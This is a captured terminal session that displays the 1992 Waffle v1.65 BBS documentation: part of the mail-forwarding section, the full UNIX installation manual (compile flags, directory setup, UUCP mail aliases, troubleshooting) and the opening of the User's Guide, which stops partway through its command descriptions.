/waffle/system/aliases file described above, or by a "forward" file kept in a user's directory. This file contains a list of users to which mail is to be forwarded. For instance, an example forward file may be /user/lunatic/forward, and its contents may be the single line "lunatic@ucdavis.edu". Mail sent to lunatic therefore gets sent to his college account at UCD when he is away at school. Two advantages to using a forward file are that you can forward a twit user's mail without his knowledge; and there is no way for normal users to determine where the mail is going (with the EXPAND command). There is no need for the user to actually exist, so long as the directory is present. Thus it is possible to arrange forwarding of mail for a user who no longer has an account on the system. o Diverting mail elsewhere Mail aliases in /waffle/system/aliases are recognized by UUXQT, and appropriate action taken. Additionally some special cases are available with the | character in this file: % Diverting mail into a folder alias = /user/lunatic/autos Places the message into the specified folder. Do not include the .f or .i in the folder name. This is ideal for mailing lists and the like, where you don't want your mailbox cluttered with large amounts of material. With Unix, this is available within the Waffle program. % Diverting mail into Usenet alias | post newsgroup Takes an incoming mail message, and diverts it into a newsgroup. Appropriate header munging is performed to allow the message to flow as news. This feature is mainly used to divert a mailing list into a local newsgroup, for users to read while not cluttering a mailbox. (DO NOT do this with mainstream Usenet newsgroups, people will become VERY upset). Another use of this feature is to allow people to post from a remote location. The Unix version of "| post" works only from within Waffle. % Artificial bounce messages (DOS version only) alias | bounce User's account is expired Send a bounce message with a customized message. Useful for people who aren't on your system (can inform of better address) or people who have been "bad". % Redirection into arbitrary programs alias | some-program arguments Will send the text of the letter (including header) into an arbitrarily specified program. The command line after | MUST contain a full pathname to the program. The Unix version of "| program" works only from within the Waffle binary. To do this on a system-wide basis, you should use your mailer's aliases file instead. o Saving to mailbox Within the mailer, the WRITE (W) command will save a message to "mailbox" in your home directory. Successive WRITE's will append to the same file. A filename may be specified as well, as "w letters". Sysops can write to any file on disk by specifying a full pathname. Similarly, when reading messages on the boards / newsgroups, the w command will write to a file called "messages" unless directed otherwise. A letter may be resent to an individual by using the "FORWARD username" command. The text is not quoted. One use for this might be to allow a moderator to forward posts to a newsgroup, by setting up a | alias. See the "DIVERTING" section above about this. o Personal aliases, in user directories A user may have an ALIASES file in his personal directory. This is the same format as the system aliases file, except |'s and >'s aren't permitted. Also, the translating is done on a different level than the system aliases file -- the alias is substituted only if there is a single destination address. The alias will then completely replace whatever was in the "To" line originally. ----------/ ADDITIONAL /----------------------------------------------------- o ROT13 decryption, and about [more] Messages posted to certain Usenet newsgroups are occasionally encrypted with rot13 code. These can be decrypted by the undocumented 'X' command while reading messages. Also when done at the [more] prompt while reading a forum, Waffle refreshes the screen a la rot13. Similarly, other commands available at [more] include a)gain, b)ack, n)ext, v)erbose, and x)rot13. These are enabled while reading forums (and disabled while in MAIL). o Control characters in text files When ^L is encountered while typing a text file, [more] is asked there. If a double ^L is encountered, input is read and the screen cleared afterward. This can be used for "Press [RETURN] to continue" prompts within files, such as as the /waffle/text/newusers file. Please do not place ANSI or any terminal dependent control sequences in these files. There are a lot of people who do not have PC's. o Inserting text into the editor Text from an disk file may be included in the internal editor by using the YANK command. You must be a privileged user to do this. o Care & feeding of the VOTE beast The VOTE program is run as an ordinary external program except its result code is returned to Waffle. Upon logging in, Waffle will inform the user when the voting topic has been changed. Normally the /waffle/extern/vote file would contain the single line "vote 1 /result vote %A %v %a %i", but you may replace this if you wish. Only one program should have /result defined. To change the voting topic, issue VOTE NEW. To see previous results, issue VOTE RESULTS. It is good to change the voting topic on a regular (say, weekly) basis. [ Note, the voting booth is not provided at this time. ] o Running WAFFLE from another source, DOS versions only It is possible to run Waffle from an external program, such as another BBS, a frontend answer program, terminal program, or whatnot. Format: waffle online 2400 Places the user online at 2400 baud, and asks for a login & password. waffle online smith Logs in the user "smith" locally - do not use this form over a modem. waffle online 1200 fojo Equivalent to above, user "fojo", over the modem at 1200 baud. waffle online 2400 smith limit 90 Limits online time to 90 minutes. We cannot guarantee that this will work in every situation of every conceivable interface with foreign programs (you may run into memory limitations or other incompatibilities), so experiment. This feature may be particularly useful if you are the only user of a private mail node, and wish to bypass the login procedure by using a batch file. ----------/ TURNING THINGS OFF /--------------------------------------------- We like to run Waffle in "silly mode". However, many people find this isn't very appropriate for such things as support BBS's, insurance companies, government installations, religious establishments, etc. You *CAN* configure the appearance of Waffle to be as serious as you desire, by editing the ASCII files in the various directories, and deconfiguring certain unwanted features: o Cookies may be disabled by removing the cookie_ok line from the static file. Users will not see cookies, and will be unable to add them. o Waffle may be configured for a level/rank system, where access levels are visible to users, higher levels have the ability to alter their own information. This behavior can be changed by altering the static file to fit one of these three configurations: No levels, ranks, or comments: Remove (comment, ch_rank, ch_level, ch_name) Levels *and* ranks (default): comment: Level %L: %R ch_level: 7 ch_rank: 5 Include comments only: comment: Comments: %R ch_rank: 5 Remove (ch_level, ch_name) What you do with Levels & Ranks is your business; you can adopt a "reward" approach or use them just to be silly. They are only visible in posts on local message forums and the STATUS command. o The files section may be removed by removing the "files" line from the static file. See the manual section concerning FILES. -- dell@vox.darkside.com (C) Copyright 1992 Darkside Int'l mailman% ls INDEX files.doc legal.doc roadmap.doc update.doc README forum.doc manual.doc static.doc user.doc all.doc future.doc nntp.doc sysman.doc dos-waf.ad history.doc register.doc unix-waf.ad extern.doc intro.doc release.165 unix.doc mailman% cat unic.doc cat: unic.doc: No such file or directory mailman% cat unix.doc Waffle v1.65 / UNIX Installation Manual (C) Copyright 1992 Darkside International, All Rights Reserved. C O N T E N T S I Installing the UNIX Version II Waffle and the Usenet News Network III Interfacing with the UUCP Mail System IV Troubleshooting Under Unix V Miscellaneous I N S T A L L I N G T H E U N I X V E R S I O N It is stongly suggested you read or at least review this entire document before proceeding (and its companion document, MANUAL.DOC; information on some of the more obscure options will be found there. If you have the DOS version of Waffle, please see the document DOS.DOC, "INSTALLING THE DOS VERSION". 1. System Requirements for the UNIX version Waffle can be run under (in alphabetical order) A/UX, 4.3 BSD, ESIX, HP/UX, 386/ix, SCO Xenix (286 or 386 varieties), SCO Unix, SGI System V, SunOS, and Ultrix. It will work under other platforms; contact us to see if this has been done, or if you have ported it to another platform. The Unix flavors will operate in multiuser mode, that is, you may have more than one user online at any given moment. 2. Create directories You will need to create some directories for use by Waffle. It is your option to place these anywhere you wish, but they must be structured in the manner described. Most people will choose to place Waffle underneath /home/waffle, /u/waffle, or /waffle, although some prefer placing it in /usr/waffle. The default tar file has been configured for "/home/waffle". Under whichever directory you have placed Waffle, you should read "/waffle" in the documentation to be that directory, so /waffle should be taken to mean /home/waffle, or whatnot. Then following directories will be created when you unpack the tar archive: /waffle /waffle/help /waffle/admin /waffle/info /waffle/bin /waffle/menus /waffle/docs /waffle/system /waffle/extern /waffle/text /waffle/extras /waffle/words Additionally, two directories are required for the FILES section, and user storage. By default, these arrive in the tar file as /waffle/user (users individual files) /waffle/files (the FILES section) If you place the /user directory underneath /waffle, realize that this may be confusing to some extent. A user's home directory might appear as a rather lengthy /u/waffle/users/smith instead of just /u/users/smith. A temporary directory is required by Waffle; you should use either /tmp or /usr/tmp for this. 3. Unpack the archive If your distribution came as a ".tz" file, rename its extension to ".tar.Z" before proceeding. Uncompress the archive: uncompress wafxxx.tar.Z This will create a wafxxx.tar file. Extract the tar archive as you normally would, in the directory you intend to install Waffle in. tar xvf wafxxx.tar tar xvfo wafxxx.tar (if available) Replace "xxx" with the distributed version number. Version numbers are numbered sequentially; thus waf165 is three versions above waf162. Upgrade when you can! Make sure the "waffle" or "bbs" user owns all of the Waffle support files. A quick way to do this is find /home/waffle -print |xargs chown bbs find /home/waffle -print |xargs chgrp bbs Replace "bbs" by the correct user & group, as appropriate. 4. Compile Waffle Change to the Waffle source directory, and edit the Makefile. The Makefile controls how Waffle is to be compiled, under what platform, and what libraries to link with. % SCO Xenix or SCO Unix Set to -DXENIX even if you are running SCO Unix. Systems running on a '386 should also use -M3e to set the memory model, viz: CFLAGS = -DXENIX -M3e LIBS = -ltermcap -lx If you have a '286, you MUST additionally set the stack size to at least 6000 because the 80286 does not have a variable stack, viz: CFLAGS = -DXENIX -Me -k8192 LIBS = -ltermcap -lx All systems must link with the Xenix library, -lx. Also, with SCO Unix, you may need to use a -xenix flag. % 386/ix Use -DISC (ISC stands for Interactive Systems Corporation). Also you may have to change the name of the @files to .files, since 386/ix does not like @'s in filenames. You can do this by adding a 'fileinfo: .files' line to the static file. % Macintosh A/UX Use -DAUX. No further modifications should be necessary. % 4.2 or 4.3 BSD -DBSD; no further changes necessary. Depending on the situation, you may be able to use -DBSD for a Sun Workstation as well. % IRIS workstation Use -DIRIS. The IRIS workstation version currently is not multitasking. Link with -lbsd to get the missing library routines. % SunOS (including Sun/4) Use -DBSD as the preferred configuration. If you want to try a "System V mode" SunOS build, you can try -DSUN. % NeXT Use -DBSD. % Linux Use -DLINUX. Linux is a quickly developing platform so it is unknown how this will work on future versions, but we should be pretty safe. Old versions of Linux will not work (file locking is required, etc.) % DEC Ultrix Set to -DULTRIX, no further modifications required. % Wicat System V Use -DWICAT. Also you need to find a copy of ndir.c and ndir.h -- there are copies in the ../extra directory. If you have a generic System V that does not support opendir(), etc. you might consider trying -DWICAT before attempting a port. Note, we don't currently have a Wicat available. % Hewlett Packard HP/UX Use -DHPUX; a copy of ndir.c and ndir.h may be required. There are copies included in the ../extras directory. Antique versions of HP/UX may have problems with termcap. % ESIX Using -DISC is known to work. % Unsupported or unknown platforms Try EACH of the above, if one does compile without any errors or warnings it will probably work. Contact us for further information if you need help. If you have a Sys V and have problems with "opendir" and like named routines, you need to link with the ndir package. After you have set the configuration options to match your system, type "make". This will build the /waffle/bin/waffle program. If you get errors (which should NOT occur unless you have an unsupported platform), feel free to contact us. 5. Compile the Waffle library Set your directory to /waffle/lib. Use the same #define's in the Makefile that you used in step 4 above compiling Waffle. Type "make". This compiles all the *.c files, and then creates a "libwaf.a" archive. 6. Build the "tools" Set your directory to /waffle/tools Type "make". No adjustments should be necessary since all system specific information is already in the library created in step 5. All tools are linked with waflib.a 7. Create a password file The password file contains architecture dependent information, and must be created from scratch when installing. (1.64 users: It can also be converted from an earlier version of Waffle, using the bin/convpw tool). Run "bin/sysman create": % sysman create 8. Configure the STATIC file. This can get as complicated as your want it to, depending on how customized your want your BBS. Refer to the STATIC.DOC file, which contains detailed information. Only a few of the lines NEED to be changed, however. 9. Setup the message base ("local" and "usenet") files In the /waffle/system directory, two files may contain message base information. These are "local", for local boards, and "usenet", if you receive a Usenet newsfeed. The structure of both these files are identical. See the section in FORUM.DOC concerning Forum Configuration. 10. Letting users run Waffle There are two ways to run Waffle: from the command line, or as a shell in /etc/passwd. Unfortunately when run from the command line (as in a .cshrc file) it is theoretically possible for a user to obtain a shell. If you can guarantee through operation of the .cshrc or .profile files that this will not happen, you may run Waffle by setenv WAFFLE /waffle/system/static /waffle/bin/waffle Otherwise (and this is the preferred method), x Create a 'bbs' account in /etc/passwd (it doesn't have to be 'bbs', it could be 'waffle' or something similar. Its shell should be /waffle/bin/waffle. It should not have a password. x Copy your /waffle/system/static file to /etc/waffle; currently this is necessary because parameters may not be passed to user shells. (We will fix this in the future, however, by using the home directory). x Login as the user bbs. It should run Waffle. 11. Existing accounts There are two accounts supplied with Waffle. While configuring Waffle, when you are ready to login, use: Login or NEW: system Password: system Also there exists a "default" account. Do NOT remove it or change its password. The current password is "*" which prohibits the account from being used. "Default" is the pattern from which new accounts are made. It is a good idea to change the "system" password as soon as possible to prevent others from using it. 12. Edit system's text messages and menus In /waffle/text: entry Banner printed before login logout Displayed as user logs out (not provided) newusers Message printed to new users once welcome Welcome message, right after logging in In /waffle/menus: main Main menu for ? command In /waffle/help/forums: menu Forum Main menu local Local message bases usenet Usenet newsgroups There are many others; the above just the most visible. W A F F L E A N D U S E N E T N E W S o Getting news in Waffle understands the directory format used by B or C news. For configuring Waffle to be able to read Usenet message, change the /dir option at the top of the Usenet file, /waffle/system/usenet, to /dir="/usr/spool/news" You should also place all newsgroups that you want the BBS to be able to be read in the Usenet file, with appropriate access. There are hooks for reading news over NNTP; see NNTP.DOC file. o Getting news out Under a normal configuration, the only thing that need be done is modify the "news" line in the /waffle/extern/_system file: news /command="/usr/lib/news/inews -h" This command will only be called for /type=USENET newsgroups; local newsgroups are handled internally. Thus if you do not have Usenet News installed, Waffle can still handle internal groups. If it appears that news is not leaving Waffle, check to see that the full pathname on the "news" line is present and correct, Also, it may be possible that it is being spooled for further processing (such as when expire is running). I N T E R F A C I N G W I T H U U C P M A I L There are three approaches that can be used; we list them in order of feasibility. The first one is the only one we've tried, and it's the one we recommend. Getting UUCP mail into Waffle requires cooperation of the your mailer. Systems with particularly crude mailers may have to upgrade to a more capable mailer. The key requirement is the capability to divert mail into pipes with a mail alias. Only crazy people should attempt the third. o Technique number One - MAIL ALIASES wafalias.c This program creates an alias list for smail or sendmail. Your mailer must support aliasing into pipes, of the format username: "| /waffle/bin/mailin username" It will not create aliases for accounts that already exist under the Unix shell. Some systems will have to change this to username: bbs|"/waffle/bin/mailin username" where "bbs" is the username of the BBS user. The idea is, when a letter arrives for a BBS user, there is an alias for him. It will be delivered to the mailin program (which must be located in the "waffle/bin" directory). By default, smail 2.5 will not take this alias format. There are patches to do this in the ../extras directory. You can either install the patches, or rely on the underlying Xenix (or whatnot) mailer to handle the aliasing for you. This is recommended. mailin.c A program to take a letter (handed to it by the mailer, since an alias was defined for a BBS user) and deliver it into that user's mailbox. This program reads from standard input, and takes as its sole argument the BBS user's username. This program should be owned by the "waffle" or "bbs" user, and it must be installed setuid. IMPORTANT - Mailin MUST be installed setuid to the waffle BBS account. o Technique number Two - PREFIXES Sites running AKCS previously that have an existing setup for an "akcs.username" prefix on usernames may be able to use this to divert mail into Waffle as well. Change the prefix to "waffle". In the static file, set the "netnews" and "netmail" definitions to something akin to netnews : waffle.%A@%n netmail : waffle.%A@%n This will place the prefix on outgoing mail from the BBS. Modify the delivery mechanism to use the mailin.c program supplied, to deliver into user's Waffle boxes. Since we do not own a copy of AKCS, this is somewhat speculative on details, but in theory it works. The last step is a doozy. Waffle sites have successfully done this with Z-Mailer (the free one, not the MH derivative.) o Technique number Three - RUN BBS AS A SEPARATE SITENAME Define a new site. This site will only exist as the Waffle BBS; Configure Waffle to be this site. Convince your mailer to handle mail to this site in a special manner, and pass mail to mailin. You can do this with SMAIL 3.X, see ../tools/smail3.waf for details. When compiling mailin, you probably want to use -DCHECK_USER. This will ensure that when mailin is called, it will exit if no such user exists in the password file. T R O U B L E S H O O T I N G U N D E R U N I X o It looks like everything is installed ok, but I can't login. And I get 'Cannot find a "default" account -- sorry" when logging in as a "NEW" user. The password file may have been munged when you copied it over to your Unix system. Usually this happens if the CR LF's are translated to LF's (such as often occurs when using the Xenix "doscp" command). This file's length should be a multiple of 256; it is a binary file and should be treated with care. Make sure it retains the same length when copying it. Also check the protections on this file to make sure it is accessible by the BBS login. o New users are not allowed on the system. Check to see that you have NOT removed the "default" account. This is an account pattern that is required when adding new users, either during signup or ADMIN ADD. If it was accidentally removed, you can create a new "default" by using "ADMIN COPY username default"; however, make sure that you change the new default account's characteristics to that of an unvalidated user. Also make sure the /waffle/system/signup file is present, and that the "new:" line in the static file says "new: new". o On my Xenix system, the "echo:" parameter in the static file is on, but nothing is being written to the multiscreen. Change the permissions on the multiscreen; /dev/tty10 is multiscreen #10, ALT-F10. Also, try changing the owner of the screen to the "bbs" account. o Get "can't set initial newsgroup" message, and Waffle exits. Change or set the static file parameter "general:" to the name of a newsgroup that your system carries. M I S C E L L A N E O U S o Receiving FIDONET echos on your system There is a package called RFMAIL developed in Finland that allows FIDO echos to be gated directly into Usenet style newsgroups. These can then be understood by Waffle. There are copies of RFMAIL available for x Anonymous FTP at ftp.ieee.org /pub/bbs/rfmail*.tar.Z x X,Y,Z MODEM download at Darkside BBS, +1 408 245 SPAM /files/unix/rfmail*.tz o Determining WHO is online We have a SETNAME program available that will set the username (as shown with the "w" or "who" commands). If Waffle is compiled with -DSETNAME, this program is run after users login. If this is used, you must add a "setname" line to the extern/_system file: setname /command="setname _%A" This will cause a user "lunatic" to have his username set to "_lunatic". With a leading underscore, BBS users can be distinguished from shell users with the Unix "who" command. Warning: Using SETNAME is incompatible with some mailers, in particular, any that require the Unix username to exist. To get around this problem, one solution is to temporarily set the username to an existing account, send the mail, and set it back, using a shell script. The "mail" line in the extern/_systems file should point to this shell script if you do this. o Running two different Waffle BBS's on one Unix system Normally /etc/waffle is the static file read by Waffle on startup. If there is a /etc/waffle.TTY, with TTY replaced with the login terminal's name, that file will override the /etc/waffle file. Thus, someone logging in on ttyA1 will use the configuration present in /etc/waffle.ttyA1 if such a file exists. This feature can also be used to present slightly different configurations of the same BBS (such as restricting specific terminals to 2400, etc). o Monitoring terminals If you have the Xenix multiscreen feature, you can monitor the sessions of users. This is done with the "echo:" line in the static file; see STATIC.DOC for detailed information. -- dell@vox.darkside.com (C) Copyright 1992 Darkside Int'l. mailman% cat ^Cmailman% ls INDEX files.doc legal.doc roadmap.doc update.doc README forum.doc manual.doc static.doc user.doc all.doc future.doc nntp.doc sysman.doc dos-waf.ad history.doc register.doc unix-waf.ad extern.doc intro.doc release.165 unix.doc mailman% cat user.doc Waffle v1.65 - User's Guide (C) Copyright 1992 Darkside International, All Rights Reserved. C O N T E N T S I Quick Summary of Commands II Detailed Command Descriptions III Input and Output IV Line Editor V User Directories PART I - Q U I C K S U M M A R Y ADMIN EXPAND MAIL SHELL BAUD FEEDBACK MEMORY SHOW BYE FINGER NEW STATUS CD FILES NODE SYSMAIL CHAT HELP OFF TAIL CLEAR HOME OREO TERM COOKIE INFO PAGE TIME DATE JOIN PATH TYPE DELETE JOURNAL PLAN UNJOIN DIR LIST POOF USERS ECHO LOGIN POST VALIDATE EDIT LOGOFF PROMPT VERSION EVENTS LOGOUT READ WELCOME EXIT RENAME PART II - D E T A I L E D D E S C R I P T I O N S All of these commands are available from within the main WAFFLE program. Some are reserved to privileged users, especially those that deal with files or administration. ADMIN Administration of accounts is handled with the ADMIN command. If "ADMIN" alone is entered, you are placed at an Admin prompt where ADMIN subcommands can be issued: Admin> d badguy Additionally, single commands may be issued without entering the ADMIN sub menu: ADMIN a newuser or ADMIN e elvis User accounts may be displayed and edited by any privileged user with the ADMIN command. To display an account's most commonly used information, use "ADMIN e account". Here is a sample display from "admin e floyd": Username floyd Full Identity Floyd R Turbo First/Real name T0M Phone number 408/245-SPAM Access level 4 Fake level string YOW Comment text 100 billion bottles These are all text fields. There are other parameters that are flags, which can be set to Y or N, in other templates. Here is a sample display from "admin s floyd", showing security information: Password goober Access level 4 Fake level string YOW Privilege level 9 Group membership 0 Waffle system shell Inform EVENTS of account use N Enforce time limits Y Permit local access only N Splash file after login N While ADMIN, to change a field just enter it over the old one; to leave a field unchanged just hit return instead. Flag fields (those with Y or N) that are different from the normal settings are shown with a + next to the values: Permit local access only + Y This makes it easy to see what's unusual about a given account. ADMIN functions are separated into two categories, those that perform actions (such as copies, or deletes) and those that are edit templates (the security or terminal templates). Summary of action commands within ADMIN: admin add username < Add user to system admin copy user1 user2 < Copy account admin delete username < Remove a user's account Summary of edit templates within ADMIN: admin e username < Most common attributes admin f username < File transfer settings admin n username < News and Mail privileges admin r username < Command restrictions admin s username < Account security admin t username < Terminal and Editor settings admin m username < Miscellanous settings Additionally, to edit ALL templates of a given account: admin * username < Edit Everything If ALT-U is hit from the local console (DOS Version), the current user's profile is edited on the sysop's screen. The actual contents of these templates is described in the MANUAL.DOC file, provided with the Waffle software. BAUD Change the speed as reported by the LIST command. Although there is no legitimate reason to do this, certain persons take immense Joy at inventing new rates. BAUD ACHOO will cause something on the order of 79779 ACHOO user A Modem User <9+> ... to show up in the callers log. Gezundheit, Mark. BYE Logout of system, and terminate the connection. Account information is updated at this time. [#1: the Public Barbequeue] 6:29 pm (?=help!) -> BYE lunatic logged out 04-Jul-69 06:29p [dropping connection] Aliases for this command include OFF, EXIT, LOGOUT, and LOGOFF. CD Change disk directory. Under normal circumstances CD is permitted only for privileged users. CD /waffle/system (you type) /waffle/system (system responds) The CD command given without arguments displays the current directory. CHAT Request CHAT with the SYSTEM 0PERATOR. Normally this is only possible with the DOS version of Waffle. People running the Unix version of Waffle usually have CHAT run an external CB type program with multiuser chat functions. [#1: the Public Barbequeue] 6:29p (?=help!) -> CHAT Do you, floyd, solemnly wish to disturb SYSTEM 0PERATOR from a possible sound sleep, including but not limited to such activities that might accompany said sleep, invoking fear and loathing upon the users of this BBS? Y Of course there must be someone on the other end to hear you; the CHAT bell will go unheeded if nobody's around. The SYSTEM 0PERATOR can turn CHAT on and off by activating or deactivating the scroll lock light on the local keyboard; this will display the "excuse" file instead of beeping the console. This command can be abbreviated as "C". CLEAR Clear the screen, usually for reasons of privacy. This will be effective only if your terminal supports this function, and only if Waffle thinks your terminal is what it really is. CLEAR is identical to the PAGE command. COOKIE Cookies are short inane bits of fluff, slogans, proverbs, or quotes, that can pop up from time to time. We consider this cookie to be rather odd: HELP STAMP OUT CONTINENTAL DRIFT [Max Pandaemonium, 13-Feb-89] Users are permitted to add cookies with the COOKIE command. For example, Flatulence will get you nowhere. [Zen Archer, 22-Jun-90] Enter cookie, but no bufu. : Crime doesn't pay... well enough. I paid money for Journey's Greatest Hits. [Bronze Tooth, 19-May-89] These cookies are kept in the "cookie jar" and it is considered polite for the SYSTEM 0PERATOR to remove the stale or old cookies from time to time. Type COOKIE LIST to see all the cookies. As this tends to be tedious, a numeric argument, such as COOKIE 25, will display cookies at the end of the file. Cookies may not contain '|' characters. They are also not permitted to contain Bufu. The exact definition of Bufu is left as an exercise to the reader. DATE Display the current date and time, plus the time online and time remaining: Sun, 15 Jul 90 17:05:47 PDT, on for 2 minutes, 88 left This is identical to the TIME command. DELETE Delete a file from the current disk directory. For a privileged user, this can be any directory; otherwise, it will be the user's personal directory. DIR Show a listing of the currently selected disk directory, or an argument can be supplied to specify a filename or directory. Wildcards may be specified: DIR /waffle/extern/_* _editors 48 01-Jul-90 _receive 138 18-Dec-89 _send 138 18-Dec-89 _system 198 02-Jul-90 Nonprivileged users are only able to look at files in the own user directory, so a full pathname cannot be supplied. ECHO Print any parameters to the screen; similar to the DOS or Unix "echo" commands. ECHO is sometimes useful when used in people's startup files, or to inspect parameters. ECHO You are at "%o" interprets the %'option and prints something on the order of You are at "Elf Consulting, Santa Cruz CA" EDIT Edit a file in the internal line editor or currently defined external editor. If a file specified does not exist, the user is prompted whether or not to create the file. EDIT /waffle/system/entry [...6 lines...] Edit> L 1> ~%n (~%u) 2> 3> Test UUCP & Mail site, 4> ~%o 5> 6> Waffle version ~%V, out of the box. Edit> Q Nonprivileged users are only permitted to edit files in their home directory; they cannot specify a full pathname. To change the current editor, select "Editor" under the STATUS command. EVENTS Display the last 20 items in the "Events Log". The Events Log records what Waffle considers to be "interesting circumstances". 12-Jul-90 15:22 harrison | poof 12-Jul-90 20:26 user | Validated 9 user(s), 0 killed 12-Jul-90 21:38 harrison | admin e unknown 13-Jul-90 01:38 john | poof 13-Jul-90 13:18 saracen | Edit /user/saracen/plan 13-Jul-90 13:20 saracen | admin e buddha 13-Jul-90 17:36 yol | poof 13-Jul-90 22:56 user | Validated 11 user(s), 0 killed This log is intended to maintain system security, both in keeping tabs on remote sysops, and making sure that nobody has compromised security from the outside. "EVENTS 10" will display the last ten events. To add an event manually, use the "EVENTS ADD" feature. Of course tbere is some risk with people inventing all sorts of creative events, but this can be amusing at times. EVENTS ADD Log cleared 6/4/90 The EVENTS command (by itself) gives the same output as SHOW EVENTS. Its use is limited to privileged users. EXIT An alias of BYE, included because some people actually do type EXIT in order to logoff the system. EXPAND EXPAND prints a list of the recipients of a mailing list, that is, all users or address that will receive mail if you send to the given address. For example, "EXPAND cool-people" might give us: 01 - john (Someone Else?) 02 - lunatic (Robert De Niro) 03 - ooblick@elvis.darkside.com 04 - root (Postmaster) 05 - sinatra (Habib Alberti Francisco) The list is sorted with any detected duplicates removed. This is very similar to the FINGER command except a list of addresses is displayed instead of information on the corresponding accounts. Multiple addresses can be EXPAND'ed on the same line. FEEDBACK The FEEDBACK command gets a message to the SYSTEM 0PERATOR. It will send mail to a user named "system", which can be aliased to another account if desired. Feeeeedback, man. Send note to system guru (yes/no)? Y Type letter, single / when done. /s to save message or /q to quit. 1> Just stopping in to say hello. "Hello." 2> /s If you have remote sysops, the SYSMAIL command will read FEEDBACK sent by inspecting the "system" mailbox. Replies to any letters are generated from the originating account, not necessarily "system". The system account will not allow all of its mail to be deleted unless "system" is the current user. This prevents your remote sysops from purging large amounts of mail that has not been read by other remotes. Traditionally we allow mail to accumulate in this account until it reaches 200-300 letters, as space is seldom a major concern. FINGER Display information about a user, group of users, or a mailing list. If any of the users have "PLAN" files, those will be displayed as well. User: lunatic (Lunatic Fringe) Phone: 408/245-SPAM Calls: 141 Posts: 116 U/D: 88k uploaded, 1412k downloaded Last on: 04-Jul-69 15:31 Mail: 36 (4 new) -- Stop, hey, what's that sound.. Everybody look what's going down When a sysop (user with privilege level 9) invokes this command, extra information is displayed in the output containing the phone number and first name. Information regarding users on other systems (for instance, "FINGER ooblick@elvis.darkside.com") cannot be displayed and a warning message is printed. Multiple users can be FINGER'ed on the same line, for example, "FINGER root system john elvis" is a legal command. This command can be abbreviated as "F". FILES Enter the FILES transfer section. This is an area where users are permitted to upload or download files using external protocols such as X, Y, or ZMODEM, or Kermit. The FILES prompt is normally (>, and a single key is accepted. (Thus all commands start with different characters.) A concept of "current directory", similar to Unix or DOS, is maintained. To change directories, you must LOG a new directory; in most cases Unix or DOS syntax to do this is acceptable. Commands available under FILES: % ARC Run the ARCVIEW program or equivalent, to list the directory of a compressed archive, such as ARC or ZIP. % COPY Upload a file using ASCII -- in effect, use no protocol at all. The upload is done using the editor. COPY is useful for short hand entered messages. % DIR List files in current directory, their dates & lengths, and a short description if one exists. A file specification may be given as an argument: (>Directory: *.c Pressing RETURN instead of entering a file specification causes all files to be listed. % FIND Locate a file or files by title. Wildcards may be given. This will search all directories known by Waffle, though not all directories on the disks. % HELP Display short menu, same as ?. % LOG Change current directory. A user's access is checked before permitting entry. Unix or DOS syntax is acceptable: (>Log: .. (move up 1 directory) (>Log: ../comm (move up then down one) % MASTER List ALL files in ALL directories that you have access to. % NEW Search all directories for all files since a given date. The default date (printed after typing N) is your last login date. (>New files since: 08-Jul-90 This operates similar to FIND. % PROTOCOL Select transfer protocol. Protocols are given as single characters, and common ones may include XMODEM, YMODEM, ZMODEM, or Kermit (the first character is used for all of these, so there can't be two protocols starting with an X.) (>Protocol: Y Y protocol selected. If you aren't sure what protocols are available, hit ? for a list: (>Protocol: ? Protocols Available: X - Xmodem Y - Batch Ymodem Z - Zmodem Currently X is selected. % QUIT Exit files section; you are placed back at the main Waffle prompt. % RECEIVE Upload a file using the currently selected protocol. You are prompted for a description of the file: (>Receive: lugnut.zip Description (44 chars max): History of lugnuts Ready to receive The procedure from here varies depending on what terminal program you are using. With many PC programs the PGUP key should be hit. % SEND Download a file using the currently selected protocol. (>Send: lugnut.zip 144 blocks, 18k You must then activate whatever download facility you terminal program has; many PC based programs use the PGDN key. One "block" is equal to 128 bytes. % VIEW View an ASCII file. If the file is binary instead of ASCII, you may see nonsense. % . Move back one directory; if you were located in /files/comm, you hop back to /files. % * Display a listing of all FILES areas that can be logged, although this does not necessarily guarantee access. Additionally, privileged users can press ^D to delete a file and ^E to edit a file. HELP Provide help or information. How helpful this information is depends on whether or not it is maintained. Information Available: ADDRESS COMMANDS Forums JOIN PUBLIC-UNIX TRANSFERS VIVISECTION Topic? If there are directories within the Waffle "HELP" directory, these will be treated as containing subtopics: Topic? FORUMS LOCAL Forums local to this site USENET Forums of a more international consequence FORUMS Topic? To exit any level of HELP, press the return key. The "*" command at the main menu is an abbreviation for "HELP FORUMS"; also, from within the JOIN command a "HELP JOIN" is issued when help is requested. Thus it is recommended that the FORUMS or JOIN directories be kept. This command can be abbreviated as "H". HOME Change to a user's "home directory". In most cases this is only useful for privileged users, since they are the only ones who are permitted to move around on the directory tree. Files in a user's home directory can also be accessed by entering the FILES section, and logging the directory manually. Typically, a user "elvis" will have a home directory /user/elvis. INFO Enter the System Bulletins & Information section. This area contains information made available by the SYSTEM 0PERATOR for callers to the system: S Y S T E M I N F O R M A T I O N 1 Various pieces of help or background, designed to illuminate your understanding of system. 2 Information about the BBS, its hardware, history, and other nonsense that is barely worth reading. Topic? This command can be abbreviated as "I". JOIN JOIN enters the forum configuration section, where each user can configure which newsgroups show up during a NEW scan of messages. The first time JOIN is invoked for a user, it will sign you up to a list of default newsgroups (which are configured by the operator of the system). After this, the following menu is available: JOIN / NEW scan Configuration Menu Use JOIN LIST to show which newsgroups you are JOINED to. You may wish to join rec.music.misc, rec.music.gaffa, misc.security, rec.arts.comics, or alt.conspiracy. or type FORUMS to see a list of newsgroups available. Join command ADD DELETE FORUMS LIST QUIT? List The LIST command shows currently JOINED newsgroups, and the number of new messages in each group. Currently JOINED to newsgroups: (17 new) alt.bbs (2 new) pubnet.nixpub (0 new) pubnet.sysops (0 new) pubnet.talk (46 new) rec.arts.comics (1 new) junk (1 new) control (0 new) monitor Adding and removing a newsgroup are fairly straightforward. It is only possible to ADD newsgroups that are currently carried by the system; Waffle will tell you if a certain group is not available. From the main Waffle prompt, you can enter some JOIN commands without entering the menu: JOIN LIST JOIN comp.unix.xenix UNJOIN alt.weemba When you attempt to JOIN a newsgroup that you are already JOINED to, you are prompted as to whether you wish to have that group removed instead of added: JOIN alt.bbs Currently joined. UNJOIN alt.bbs ? The list of newsgroups you are joined to is kept in a "JOIN" file located in your user directory. It also contains the numbers of the highest read message in each group you read. JOURNAL Display the system Journal. Users above a certain level (journal_ok in the static file, if you must know) are permitted to change the Journal entry. [#1: the Public Barbequeue] 6:29p (?=help!) -> JOURNAL Finally the top50 of all-time albums is ready. After some hard work (If anyone wants to do this again, ask everyone to send in a list in a uniform format) I've completed the 